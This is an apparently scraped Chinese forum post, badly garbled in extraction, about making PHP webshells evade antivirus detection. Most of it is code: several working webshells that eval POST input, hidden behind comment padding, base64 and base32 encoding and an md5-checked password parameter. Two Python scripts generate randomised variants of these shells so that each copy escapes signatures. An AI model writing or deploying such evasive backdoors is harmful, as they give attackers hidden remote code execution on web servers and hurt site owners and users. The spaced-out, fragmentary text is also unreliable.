[21569] 2021-01-04_利用注释及自定义加密免杀Webshell

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-01-04_利用注释及自定义加密免杀Webshell W e b s h e l l N o n e   L e m o n S e c   2 0 2 1 - 0 1 - 0 4 -   0 x 0 0 - p h p p h p 7 . 1 a s s e r t 使 a s s e r t 使 广 e v a l D     w e b d i r + 0 x 0 1 D f u z z < ? p h p   @ e v a l ( $ _ P O S T ( ' a ' ) ) ; ? > w e b s h e l l D e v a l ( $ _ P O S T [ ' a ' ] ) < ? p h p f u n c t i o n   x ( ) {         r e t u r n   $ _ P O S T [ ' a ' ] ; } e v a l ( x ( ) ) ; ? > D D 西 e v a l e v a l ( $ _ P O S T [ ' a ' ] )     西 西
< ? p h p f u n c t i o n   x ( ) {         r e t u r n   " / * s a s a s 2 3 1 2 3 * / " . $ _ P O S T [ ' a ' ] . " / * s d f w 3 1 2 3 * / " ; } e v a l ( x ( ) ) ; ? > " e v a l ( " " $ _ P O S T " D 使 使 e v a l 使
< ? p h p c l a s s   x {                 f u n c t i o n   _ _ c o n s t r u c t ( )                 {                                             @ e v a l ( " / * s a s a s 2 3 1 2 3 * / " . $ _ P O S T [ ' a ' ] . " / * s d f w 3 1 2 3 * / " ) ;                 } } n e w   x ( ) ; ? >   D " . $ _ P O S T [ ' a ' ] . " 使 b a s e 6 4 " $ _ P O S T [ ' a ' ] " < ? p h p c l a s s   x {                 p u b l i c   $ p a y l o a d   =   n u l l ;                 p u b l i c   $ d e c o d e _ p a y l o a d   =   n u l l ;                 f u n c t i o n   _ _ c o n s t r u c t ( )                 {               $ t h i s - > p a y l o a d = ' Z X Z h b C g k X 1 B P U 1 R b Y V 0 p O w = = ' ;                                 $ t h i s - > d e c o d e _ p a y l o a d   =   @ b a s e 6 4 _ d e c o d e (   $ t h i s - > p a y l o a d   ) ;                                 @ e v a l ( " / * s a s a s 2 3 1 2 3 * / " . $ t h i s - > d e c o d e _ p a y l o a d . " / * s d f w 3 1 2 3 * / " ) ;                 } } n e w   x ( ) ; ? > 使 p u b l i c
i m p o r t   r a n d o m # a u t h o r :   p u r e q h # g i t h u b :   h t t p s : / / g i t h u b . c o m / p u r e q h / w e b s h e l l s h e l l   =   ' ' ' < ? p h p c l a s s   { 0 } { 3 }                 p u b l i c   $ { 1 }   =   n u l l ;                 p u b l i c   $ { 2 }   =   n u l l ;                 f u n c t i o n   _ _ c o n s t r u c t ( ) { 3 }                 $ t h i s - > { 1 } = ' Z X Z h b C g k X 1 B P U 1 R b Y V 0 p O w = = ' ;                 $ t h i s - > { 2 }   =   @ b a s e 6 4 _ d e c o d e (   $ t h i s - > { 1 }   ) ;                 @ e v a l ( { 5 } . $ t h i s - > { 2 } . { 5 } ) ;                 { 4 } { 4 } n e w   { 0 } ( ) ; ? > ' ' ' d e f   r a n d o m _ k e y s ( l e n ) :         s t r   =   ' ` ~ - = ! @ # $ % ^ & _ + ? < > | : [ ] a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z '         r e t u r n   ' ' . j o i n ( r a n d o m . s a m p l e ( s t r , l e n ) ) d e f   r a n d o m _ n a m e ( l e n ) :         s t r   =   ' A B C D E F G H I J K L M N O P Q R S T U V W X Y Z '         r e t u r n   ' ' . j o i n ( r a n d o m . s a m p l e ( s t r , l e n ) )     d e f   b u i l d _ w e b s h e l l ( ) :         c l a s s N a m e   =   r a n d o m _ n a m e ( 4 )         p a r a m e t e r 1   =   r a n d o m _ n a m e ( 5 )         p a r a m e t e r 2   =   r a n d o m _ n a m e ( 6 )         l e f   =   ' ' ' { ' ' '         r i g   =   ' ' ' } ' ' '         d i s r u p t   =   " " / * " + r a n d o m _ k e y s ( 7 ) + " * / " "         s h e l l c   =   s h e l l . f o r m a t ( c l a s s N a m e , p a r a m e t e r 1 , p a r a m e t e r 2 , l e f , r i g , d i s r u p t )         r e t u r n   s h e l l c i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p r i n t   ( b u i l d _ w e b s h e l l ( ) ) < ? p h p c l a s s   Y H U V {                 p u b l i c   $ B S F R M   =   n u l l ;                 p u b l i c   $ Y V M Q F W   =   n u l l ;                 f u n c t i o n   _ _ c o n s t r u c t ( ) {                 $ t h i s - > B S F R M = ' Z X Z h b C g k X 1 B P U 1 R b Y V 0 p O w = = ' ;                 $ t h i s - > Y V M Q F W   =   @ b a s e 6 4 _ d e c o d e (   $ t h i s - > B S F R M   ) ;                 @ e v a l ( " / * r E g V _ C d * / " . $ t h i s - > Y V M Q F W . " / * r E g V _ C d * / " ) ;                 } } n e w   Y H U V ( ) ; ? >
" e v a l ( $ _ P O S T [ x x x ] ) ; " < ? p h p c l a s s   B T A G {                 p u b l i c   $ Q O M Y W   =   n u l l ;                 p u b l i c   $ X G T C P L   =   n u l l ;                 p u b l i c   $ Y I O X A L   =   n u l l ;                 f u n c t i o n   _ _ c o n s t r u c t ( ) {                         i f ( m d 5 ( $ _ G E T [ " p a s s " ] ) = = " d f 2 4 b f d 1 3 2 5 f 8 2 b a 5 f d 3 d 3 b e 2 4 5 0 0 9 6 e " ) {                 $ t h i s - > Q O M Y W   =   ' Z X Z h b C g k X 1 B P U ' ;                 $ t h i s - > Y I O X A L   =   ' 1 R b Y V 0 p O w = = ' ;                 $ t h i s - > X G T C P L   =   @ b a s e 6 4 _ d e c o d e ( $ t h i s - > Q O M Y W . $ t h i s - > Y I O X A L ) ;                 @ e v a l ( " / * # ` | W $ ~ Q * / " . $ t h i s - > X G T C P L . " / * # ` | W $ ~ Q * / " ) ;                 } } } n e w   B T A G ( ) ; ? > . . . w e b d i r +
e v a l " $ _ P O S T [ ' a ' ] " , w e b d i r + e v a l ( $ _ P O S T [ ' a ' ] ) 使 m d 5 < ? p h p c l a s s   Y H U V {                 p u b l i c   $ B S F R M   =   n u l l ;                 p u b l i c   $ Y V M Q F W   =   n u l l ;                 f u n c t i o n   _ _ c o n s t r u c t ( ) {                         i f ( m d 5 ( $ _ G E T [ " p a s s " ] ) = = " d f 2 4 b f d 1 3 2 5 f 8 2 b a 5 f d 3 d 3 b e 2 4 5 0 0 9 6 e " ) {                                 $ t h i s - > B S F R M = $ _ P O S T [ ' a ' ] ;                                 @ e v a l ( " / * r E g V _ C d * / " . $ t h i s - > B S F R M . " / * r E g V _ C d * / " ) ;                         }                 } } n e w   Y H U V ( ) ; ? > e v a l ( ) 西 " $ _ P O S T [ ' a ' ] "     b a s e 6 4 b a s e 6 4 b a s e 3 2 p h p b a s e 3 2
f u n c t i o n   b a s e 3 2 _ e n c o d e ( $ i n p u t )   {         $ B A S E 3 2 _ A L P H A B E T   =   ' a b c d e f g h i j k l m n o p q r s t u v w x y z 2 3 4 5 6 7 ' ;         $ o u t p u t   =   ' ' ;         $ v   =   0 ;         $ v b i t s   =   0 ;         f o r   ( $ i   =   0 ,   $ j   =   s t r l e n ( $ i n p u t ) ;   $ i   <   $ j ;   $ i + + )   {                 $ v   < < =   8 ;                 $ v   + =   o r d ( $ i n p u t [ $ i ] ) ;                 $ v b i t s   + =   8 ;                 w h i l e   ( $ v b i t s   > =   5 )   {                         $ v b i t s   - =   5 ;                         $ o u t p u t   . =   $ B A S E 3 2 _ A L P H A B E T [ $ v   > >   $ v b i t s ] ;                         $ v   & =   ( ( 1   < <   $ v b i t s )   -   1 ) ;                 }         }         i f   ( $ v b i t s   >   0 )   {                 $ v   < < =   ( 5   -   $ v b i t s ) ;                 $ o u t p u t   . =   $ B A S E 3 2 _ A L P H A B E T [ $ v ] ;         }         r e t u r n   $ o u t p u t ; } f u n c t i o n   b a s e 3 2 _ d e c o d e ( $ i n p u t )   {         $ o u t p u t   =   ' ' ;         $ v   =   0 ;         $ v b i t s   =   0 ;         f o r   ( $ i   =   0 ,   $ j   =   s t r l e n ( $ i n p u t ) ;   $ i   <   $ j ;   $ i + + )   {                 $ v   < < =   5 ;                 i f   ( $ i n p u t [ $ i ]   > =   ' a '   & &   $ i n p u t [ $ i ]   < =   ' z ' )   {                         $ v   + =   ( o r d ( $ i n p u t [ $ i ] )   -   9 7 ) ;                 }   e l s e i f   ( $ i n p u t [ $ i ]   > =   ' 2 '   & &   $ i n p u t [ $ i ]   < =   ' 7 ' )   {                         $ v   + =   ( 2 4   +   $ i n p u t [ $ i ] ) ;                 }   e l s e   {                         e x i t ( 1 ) ;                 }                 $ v b i t s   + =   5 ;                 w h i l e   ( $ v b i t s   > =   8 )   {                         $ v b i t s   - =   8 ;                         $ o u t p u t   . =   c h r ( $ v   > >   $ v b i t s ) ;                         $ v   & =   ( ( 1   < <   $ v b i t s )   -   1 ) ;                 }         }         r e t u r n   $ o u t p u t ; } s h e l l 使 b a s e 3 2 " e v a l ( $ _ P O S T [ z e r o ] ) ; " < ? p h p c l a s s   Z Q I H {                 p u b l i c   $ a   =   n u l l ;                 p u b l i c   $ b   =   n u l l ;                 p u b l i c   $ c   =   n u l l ;                 f u n c t i o n   _ _ c o n s t r u c t ( ) {                         i f ( m d 5 ( $ _ G E T [ " p a s s " ] ) = = " d f 2 4 b f d 1 3 2 5 f 8 2 b a 5 f d 3 d 3 b e 2 4 5 0 0 9 6 e " ) {                 $ t h i s - > a   =   ' m v 3 g c 3 b i e r p v a t 2 t k r n x u z l s n 5 o s s o y ' ;
                $ t h i s - > L G Z O J H   =   @ b a s e 3 2 _ d e c o d e ( $ t h i s - > a ) ;                 @ e v a l / * s o p u p i 3 2 4 0 - = * / ( " / * i S A C [ F H * / " . $ t h i s - > L G Z O J H . " / * i S A C [ F H * / " ) ;                 } } } n e w   Z Q I H ( ) ; f u n c t i o n   b a s e 3 2 _ e n c o d e ( $ i n p u t )   {         $ B A S E 3 2 _ A L P H A B E T   =   ' a b c d e f g h i j k l m n o p q r s t u v w x y z 2 3 4 5 6 7 ' ;         $ o u t p u t   =   ' ' ;         $ v   =   0 ;         $ v b i t s   =   0 ;         f o r   ( $ i   =   0 ,   $ j   =   s t r l e n ( $ i n p u t ) ;   $ i   <   $ j ;   $ i + + )   {                 $ v   < < =   8 ;                 $ v   + =   o r d ( $ i n p u t [ $ i ] ) ;                 $ v b i t s   + =   8 ;                 w h i l e   ( $ v b i t s   > =   5 )   {                         $ v b i t s   - =   5 ;                         $ o u t p u t   . =   $ B A S E 3 2 _ A L P H A B E T [ $ v   > >   $ v b i t s ] ;                         $ v   & =   ( ( 1   < <   $ v b i t s )   -   1 ) ;                 }         }         i f   ( $ v b i t s   >   0 )   {                 $ v   < < =   ( 5   -   $ v b i t s ) ;                 $ o u t p u t   . =   $ B A S E 3 2 _ A L P H A B E T [ $ v ] ;         }         r e t u r n   $ o u t p u t ; } f u n c t i o n   b a s e 3 2 _ d e c o d e ( $ i n p u t )   {         $ o u t p u t   =   ' ' ;         $ v   =   0 ;         $ v b i t s   =   0 ;         f o r   ( $ i   =   0 ,   $ j   =   s t r l e n ( $ i n p u t ) ;   $ i   <   $ j ;   $ i + + )   {                 $ v   < < =   5 ;                 i f   ( $ i n p u t [ $ i ]   > =   ' a '   & &   $ i n p u t [ $ i ]   < =   ' z ' )   {                         $ v   + =   ( o r d ( $ i n p u t [ $ i ] )   -   9 7 ) ;                 }   e l s e i f   ( $ i n p u t [ $ i ]   > =   ' 2 '   & &   $ i n p u t [ $ i ]   < =   ' 7 ' )   {                         $ v   + =   ( 2 4   +   $ i n p u t [ $ i ] ) ;                 }   e l s e   {                         e x i t ( 1 ) ;                 }                 $ v b i t s   + =   5 ;                 w h i l e   ( $ v b i t s   > =   8 )   {                         $ v b i t s   - =   8 ;                         $ o u t p u t   . =   c h r ( $ v   > >   $ v b i t s ) ;                         $ v   & =   ( ( 1   < <   $ v b i t s )   -   1 ) ;                 }         }         r e t u r n   $ o u t p u t ; } ? >
0 x 0 2 i m p o r t   r a n d o m # a u t h o r :   p u r e q h # g i t h u b :   h t t p s : / / g i t h u b . c o m / p u r e q h / w e b s h e l l # u s e : G E T : h t t p : / / u r l ? p a s s = p u r e q h   P O S T : z e r o s h e l l   =   ' ' ' < ? p h p c l a s s   { 0 } { 1 }                 p u b l i c   $ { 2 }   =   n u l l ;                 p u b l i c   $ { 3 }   =   n u l l ;                 f u n c t i o n   _ _ c o n s t r u c t ( ) { 1 }                         i f ( m d 5 ( $ _ G E T [ " p a s s " ] ) = = " d f 2 4 b f d 1 3 2 5 f 8 2 b a 5 f d 3 d 3 b e 2 4 5 0 0 9 6 e " ) { 1 }                 $ t h i s - > { 2 }   =   ' m v 3 g c 3 b i e r p v a t 2 t k r n x u z l s n 5 o s s o y ' ;                 $ t h i s - > { 3 }   =   @ { 9 } ( $ t h i s - > { 2 } ) ;                 @ e v a l ( { 5 } . $ t h i s - > { 3 } . { 5 } ) ;                 { 4 } { 4 } { 4 } n e w   { 0 } ( ) ;
n e w   { 0 } ( ) ; f u n c t i o n   { 6 } ( $ { 7 } ) { 1 }         $ B A S E 3 2 _ A L P H A B E T   =   ' a b c d e f g h i j k l m n o p q r s t u v w x y z 2 3 4 5 6 7 ' ;         $ { 8 }   =   ' ' ;         $ v   =   0 ;         $ v b i t s   =   0 ;         f o r   ( $ i   =   0 ,   $ j   =   s t r l e n ( $ { 7 } ) ;   $ i   <   $ j ;   $ i + + ) { 1 }         $ v   < < =   8 ;                 $ v   + =   o r d ( $ { 7 } [ $ i ] ) ;                 $ v b i t s   + =   8 ;                 w h i l e   ( $ v b i t s   > =   5 )   { 1 }                         $ v b i t s   - =   5 ;                         $ { 8 }   . =   $ B A S E 3 2 _ A L P H A B E T [ $ v   > >   $ v b i t s ] ;                         $ v   & =   ( ( 1   < <   $ v b i t s )   -   1 ) ; { 4 } { 4 }         i f   ( $ v b i t s   >   0 ) { 1 }                 $ v   < < =   ( 5   -   $ v b i t s ) ;                 $ { 8 }   . =   $ B A S E 3 2 _ A L P H A B E T [ $ v ] ; { 4 }         r e t u r n   $ { 8 } ; { 4 } f u n c t i o n   { 9 } ( $ { 7 } ) { 1 }         $ { 8 }   =   ' ' ;         $ v   =   0 ;         $ v b i t s   =   0 ;         f o r   ( $ i   =   0 ,   $ j   =   s t r l e n ( $ { 7 } ) ;   $ i   <   $ j ;   $ i + + ) { 1 }                 $ v   < < =   5 ;                 i f   ( $ { 7 } [ $ i ]   > =   ' a '   & &   $ { 7 } [ $ i ]   < =   ' z ' ) { 1 }                         $ v   + =   ( o r d ( $ { 7 } [ $ i ] )   -   9 7 ) ;                 { 4 }   e l s e i f   ( $ { 7 } [ $ i ]   > =   ' 2 '   & &   $ { 7 } [ $ i ]   < =   ' 7 ' )   { 1 }                         $ v   + =   ( 2 4   +   $ { 7 } [ $ i ] ) ;                 { 4 }   e l s e   { 1 }                         e x i t ( 1 ) ;                 { 4 }                 $ v b i t s   + =   5 ;                 w h i l e   ( $ v b i t s   > =   8 ) { 1 }                         $ v b i t s   - =   8 ;                         $ { 8 }   . =   c h r ( $ v   > >   $ v b i t s ) ;                         $ v   & =   ( ( 1   < <   $ v b i t s )   -   1 ) ; { 4 } { 4 }         r e t u r n   $ { 8 } ; { 4 } ? > ' ' ' d e f   r a n d o m _ k e y s ( l e n ) :         s t r   =   ' ` ~ - = ! @ # $ % ^ & _ + ? < > | : [ ] a b c d e f g h i j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z '         r e t u r n   ' ' . j o i n ( r a n d o m . s a m p l e ( s t r , l e n ) ) d e f   r a n d o m _ n a m e ( l e n ) :         s t r   =   ' A B C D E F G H I J K L M N O P Q R S T U V W X Y Z '         r e t u r n   ' ' . j o i n ( r a n d o m . s a m p l e ( s t r , l e n ) )     d e f   b u i l d _ w e b s h e l l ( ) :         c l a s s N a m e   =   r a n d o m _ n a m e ( 4 )         l e f   =   ' ' ' { ' ' '         p a r a m e t e r 1   =   r a n d o m _ n a m e ( 4 )         p a r a m e t e r 2   =   r a n d o m _ n a m e ( 4 )         r i g   =   ' ' ' } ' ' '         d i s r u p t   =   " " / * " + r a n d o m _ k e y s ( 7 ) + " * / " "         f u n 1   =   r a n d o m _ n a m e ( 4 )         f u n 1 _ v u l   =   r a n d o m _ n a m e ( 4 )         f u n 1 _ r e t   =   r a n d o m _ n a m e ( 4 )         f u n 2   =   r a n d o m _ n a m e ( 4 )         s h e l l c   =   s h e l l . f o r m a t ( c l a s s N a m e , l e f , p a r a m e t e r 1 , p a r a m e t e r 2 , r i g , d i s r u p t , f u n 1 , f u n 1 _ v u l , f u n 1 _ r e t , f u n 2 )         r e t u r n   s h e l l c i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :         p r i n t   ( b u i l d _ w e b s h e l l ( ) )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则